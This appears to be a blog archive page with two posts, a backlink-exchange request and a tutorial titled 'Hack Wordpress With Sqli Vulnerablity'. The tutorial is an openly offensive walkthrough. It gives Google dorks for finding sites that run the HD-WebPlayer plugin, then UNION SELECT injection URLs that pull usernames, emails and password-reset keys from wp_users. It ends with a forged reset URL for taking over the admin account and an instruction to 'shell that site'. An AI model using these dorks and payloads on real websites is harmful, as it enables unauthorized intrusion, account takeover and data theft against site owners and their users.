eHowTutorials | Tutorials For You !: WordPress

<div dir="ltr" style="text-align: left;" trbidi="on">
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIGYA0Kfp8X1Ez-pXf7jYd9U03gblRNRlKxWu2bHdTgdHQmh3LSIFP7uvUtyctnalbHXOXAp4ZAR2-Qs5O39DcRX6W39DYRcm_geDXsLiUkFVNWuYtzt6DP8U2MUq8kKk-gwPWSUEzxF5I/s1600/Give-And-Take-backlink-For-Free-2015.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIGYA0Kfp8X1Ez-pXf7jYd9U03gblRNRlKxWu2bHdTgdHQmh3LSIFP7uvUtyctnalbHXOXAp4ZAR2-Qs5O39DcRX6W39DYRcm_geDXsLiUkFVNWuYtzt6DP8U2MUq8kKk-gwPWSUEzxF5I/s1600/Give-And-Take-backlink-For-Free-2015.jpg" width="400" /></a></div>
 
So My New Article Is About Backlink Which Is The Main Pillar Of Success For Any Blogger . Backlink Are Essential For Every Website/Blog . So What is Backlink ? According To <a href="http://en.wikipedia.org/wiki/Backlink" rel="nofollow" target="_blank">Wikipedia</a>: 
 
 
<blockquote class="tr_bq">
Backlinks, also known as incoming links, inbound links, inlinks, and inward links, are incoming <a href="http://en.wikipedia.org/wiki/Hyperlink" rel="nofollow" target="_blank" title="Hyperlink">links</a> to a <a href="http://en.wikipedia.org/wiki/Website" rel="nofollow" target="_blank" title="Website">website</a> or <a href="http://en.wikipedia.org/wiki/Web_page" rel="nofollow" target="_blank" title="Web page">web page</a>. In basic link terminology, a backlink is any link received by a web node (web page, directory, website, or <a class="mw-redirect" href="http://en.wikipedia.org/wiki/Top_level_domain" rel="nofollow" target="_blank" title="Top level domain">top level domain</a>) from another web node.<a href="http://en.wikipedia.org/wiki/Backlink#cite_note-1" rel="nofollow" target="_blank">[1]</a></blockquote>
Once Your Website Has a Bunch Of Backlinks So Your Website Will Rock ! Now I Was Thinking About Easy Way To Create Good Backlinks  Finally I Found It , So We Can Work Together To Make Our Website Rock , Yes I am Talking To You So The Method Is Add my Code On Your Website/Blog And Comment Below With Where You Added Our Code + Your Website So We'll Check For Our Code In Your Website If We'll Found It We Will Add Your Website On Our Website :) Code Is Below  
 
<blockquote class="tr_bq">
<center><div dir="ltr" style="text-align: center;" trbidi="on"> <a href="http://eHowTutorials.net" rel="dofollow"><img alt="Support Us !" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEji8q1MuTaU-oWXQ9Ze38Kh_PEZCaEsBFR69ZTcxxR1BS2R3HiFOwC_dPPjTCjOAa1PbDl5WKMfYTp1AEIyRoCW_UqhXCngRoLkBdwoVtplyvgquKKGrSYgmNHyN5Nyzxy8IuERrPCNl5oY/s1600/eHowTutorials.net.jpg" title="eHowTutorials.net | Tutorials For You !" /></a></div></center></blockquote>
You Can Comment Your Website Link In Comment Below , You Have 2 Options Comment Via Google Profile Or Facebook Profile .So Now I'll Show You How You Have To Comment "Done ! I Have Added Your Code In : YOUR_WEBSITE_URL " So We Will Add Your Site In eHowTutorials.net For More Tips And Tricks In Your Inbox Subscribe Us !</div>

Give And Take Backlinks For Free

So My New Article Is About Backlink Which Is The Main Pillar Of Success For Any Blogger . Backlink Are Essential For Every Website/Blog...

Learn More >

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
</div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPEdja8CVt-Au-X3-vKz90koxadB5cTjXuMGEMMYkg1mIzcXrSP5HX7uOkEtpnRsqRoEUnG4tV01SOxrAGZtdZSUzjLFFuvmRsswuLbowmLa9smaqkj6SNdWN9fp6mjKADZz2YthwyU6Qz/s1600/Wordpress-Sql-Injection-Vulnerabilty.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPEdja8CVt-Au-X3-vKz90koxadB5cTjXuMGEMMYkg1mIzcXrSP5HX7uOkEtpnRsqRoEUnG4tV01SOxrAGZtdZSUzjLFFuvmRsswuLbowmLa9smaqkj6SNdWN9fp6mjKADZz2YthwyU6Qz/s1600/Wordpress-Sql-Injection-Vulnerabilty.png" width="320" /></a></div>
 
Hello , After Writing <a href="http://www.ehowtutorials.net/2015/01/top-3-premium-blogger-templates-for-free.html#axzz3PQAiSfWI" target="_blank">Top 3 Premium Blogger Templates For Free </a> 
I was searching for some WordPress Exploits So I Found This Sql Injection Vulnerability In a Plugin Named HD-WebPlayer So now what is the Loop Hole ? Lets Begin your First Step Is As Always to Find Vulnerable Site Using <a href="http://adf.ly/1NL14I" target="_blank">Google Dorks</a> 
For This Exploit Their are 3 Special Dorks :  
 
 
<blockquote class="tr_bq">
<div style="text-align: left;">
<code style="display: block; height: auto; max-height: 200px; overflow: auto;">Dork #1</code><code style="display: block; height: auto; max-height: 200px; overflow: auto;">(config.php)</code></div>
 
<div style="text-align: left;">
<code style="display: block; height: auto; max-height: 200px; overflow: auto;">inurl:"/wp-content/plugins/hd-webplayer/config.php?id="</code><code style="display: block; height: auto; max-height: 200px; overflow: auto;">Dork #2 (playlist.php)</code><code style="display: block; height: auto; max-height: 200px; overflow: auto;">inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="</code><code style="display: block; height: auto; max-height: 200px; overflow: auto;">Dork #3 (General):</code><code style="display: block; height: auto; max-height: 200px; overflow: auto;">inurl:"/wp-content/plugins/hd-webplayer/"</code></div>
</blockquote>
<h3>
<code style="display: block; height: auto; max-height: 200px; overflow: auto;"></code></h3>
<h3 style="text-align: left;">
Use Google Dork To Find Vulnerable Site Like this : </h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp4R2D1RBUYIRM_4VvHapVMVOBvF1pw_AFG8q0vQMGb2hjKur0X5RORuVfHYkTUXBJQNTN1b9JJm9AISBXm-1HkCkvraT76fm_bVltVnlDkU9cHgjWYHP2nVFrnZf3wSviGjJnmg9PHFa5/s1600/Wordpress-Plugin-Sql-Injection-Hack-Step-1.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp4R2D1RBUYIRM_4VvHapVMVOBvF1pw_AFG8q0vQMGb2hjKur0X5RORuVfHYkTUXBJQNTN1b9JJm9AISBXm-1HkCkvraT76fm_bVltVnlDkU9cHgjWYHP2nVFrnZf3wSviGjJnmg9PHFa5/s1600/Wordpress-Plugin-Sql-Injection-Hack-Step-1.png" width="320" /></a></div>
<div style="text-align: left;">
Now You Found The Site So Lets Try To Inject It . For Example : </div>
<div style="text-align: left;">
http://Site.com/wp-content/plugins/hd-webplayer/config.php?id=2 So Replace It With  
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTcoPjZeGp7_oMBGVXj2-b3Gh0EbVxw1FgKuQuSqm8rxaq_ZbwgAFM1GUJYKiJaNldrkPRBbcK-CPgz5IKCdM6yd9M6NN_IlfGI5AVowIDIEpoOJCaylCMXtWCZx_W51CH78C4wPLAmx6u/s1600/Wordpress-Plugin-Sql-Injection-Hack-Step-2.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTcoPjZeGp7_oMBGVXj2-b3Gh0EbVxw1FgKuQuSqm8rxaq_ZbwgAFM1GUJYKiJaNldrkPRBbcK-CPgz5IKCdM6yd9M6NN_IlfGI5AVowIDIEpoOJCaylCMXtWCZx_W51CH78C4wPLAmx6u/s1600/Wordpress-Plugin-Sql-Injection-Hack-Step-2.png" width="320" /></a></div>
http://Site.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--You Have To Add Below Url After Site.Com : 
<blockquote class="tr_bq">
wp-content/plugins/hd-webplayer/playlist.php?videoid=-3
 UNION SELECT 
1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM
 wp_users--</blockquote>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFKqsiGBD8mt0_xdJ8by75uh6UVD9S0BYmqiq0LdZqvbbgVQEpHBKoVk2oW_gE7B_bLT2r5Erq-bUxOY_5ajzQWdzhRd13HbHWM6w5kSWiUfvVKtbIhJlUyPe1Rt_4oedR8F14u4UeXK4x/s1600/Wordpress-Plugin-Sql-Injection-Hack-Step-3.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="164" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFKqsiGBD8mt0_xdJ8by75uh6UVD9S0BYmqiq0LdZqvbbgVQEpHBKoVk2oW_gE7B_bLT2r5Erq-bUxOY_5ajzQWdzhRd13HbHWM6w5kSWiUfvVKtbIhJlUyPe1Rt_4oedR8F14u4UeXK4x/s1600/Wordpress-Plugin-Sql-Injection-Hack-Step-3.png" width="320" /></a></div>
Now When you Replace That Url Website Must Show this Check What I Have Replaced i Commanded Database To Fetch User_login & User_email From Users Table , I Am Not Explaining you SQLi , I will make a tutorial Wait For My Tutorial Or Google About It , So Now Go To Admin Panel Login Page By typing http://Site.com/wp-login.php Or 
http://Site.com/wp-admin 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY7lbHL7YcIlRt37KgXcFFI8giIRZ7rbzs0_kPO7kLMi-l7UoaFl9TQyHqDF41gP1mwE94QDIxvxH8iHcPEBjXy-thO7o-veKishHsiNggO6arZ042_f5OStZvrHSa1i1QX_Z6ryNpbHPj/s1600/Wordpress-Plugin-Sql-Injection-Hack-Step-4.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="189" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY7lbHL7YcIlRt37KgXcFFI8giIRZ7rbzs0_kPO7kLMi-l7UoaFl9TQyHqDF41gP1mwE94QDIxvxH8iHcPEBjXy-thO7o-veKishHsiNggO6arZ042_f5OStZvrHSa1i1QX_Z6ryNpbHPj/s1600/Wordpress-Plugin-Sql-Injection-Hack-Step-4.png" width="320" /></a></div>
And Click On Lost Your Password ? After That Either Write Username Or Email Which You Got In Previous Step And Click Enter , Now Again U Have To Get The Authorization Code Which Has Been Sent To Admin's Email now Again U Have To Inject Now Add Below Code After Site Url Like http://Site.Com/ 
 
 
 
 
 
 
<blockquote class="tr_bq">
<code style="display: block; height: auto; max-height: 200px; overflow: auto;">http://www.</code><code style="display: block; height: auto; max-height: 200px; overflow: auto;">Site.Com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3
 UNION SELECT 
1,2,3,group_concat(user_login,0x3a,user_activation_key,0x3b),5,6,7,8,9,10,11
 FROM wp_users--</code></blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5yeH_gUCQ84vst7qam81MEBbZuBX33VXYT4a_7jqzHJU_h5HO1qjkxo19eQ05kJnYTi8hC168h8d3wfQFJoBEHqUvrF7Hn1_I9FnKvFd2U-qPx5O9Kwj1pulx8KbPJte2v5voVYnaOlQC/s1600/Wordpress-Plugin-Sql-Injection-Hack-Step-5.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="178" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5yeH_gUCQ84vst7qam81MEBbZuBX33VXYT4a_7jqzHJU_h5HO1qjkxo19eQ05kJnYTi8hC168h8d3wfQFJoBEHqUvrF7Hn1_I9FnKvFd2U-qPx5O9Kwj1pulx8KbPJte2v5voVYnaOlQC/s1600/Wordpress-Plugin-Sql-Injection-Hack-Step-5.png" width="320" /></a></div>
It will Show The Data Of Authorization Code Now U Have To Make Custom Url For Resetting Password Now For Resetting Add This Url After http://Site.com/ 
 
 
<blockquote class="tr_bq">
<code style="display: block; height: auto; max-height: 200px; overflow: auto;">wp-login.php?action=rp&key=YOUR_RESET_KEY&login=USERNAME</code></blockquote>
Now Replace YOUR_RESET_KEY With Authorization Key & USERNAME with Username As I Selected Admin Now It will Ask You To Change Password :) Login To Dashboard And Shell That Site . 
 
<h2 style="text-align: left;">
Any Problem ? Comment Below Or Email Us At Contact@eHowTutorials.net</h2>
</div>

Hack Wordpress With Sqli Vulnerablity

Hello , After Writing Top 3 Premium Blogger Templates For Free I was searching for some WordPress Exploits So I Found This Sql Injec...

Learn More >

eHowTutorials | Tutorials For You !

Give And Take Backlinks For Free

Hack Wordpress With Sqli Vulnerablity

Popular Posts

Blog Archive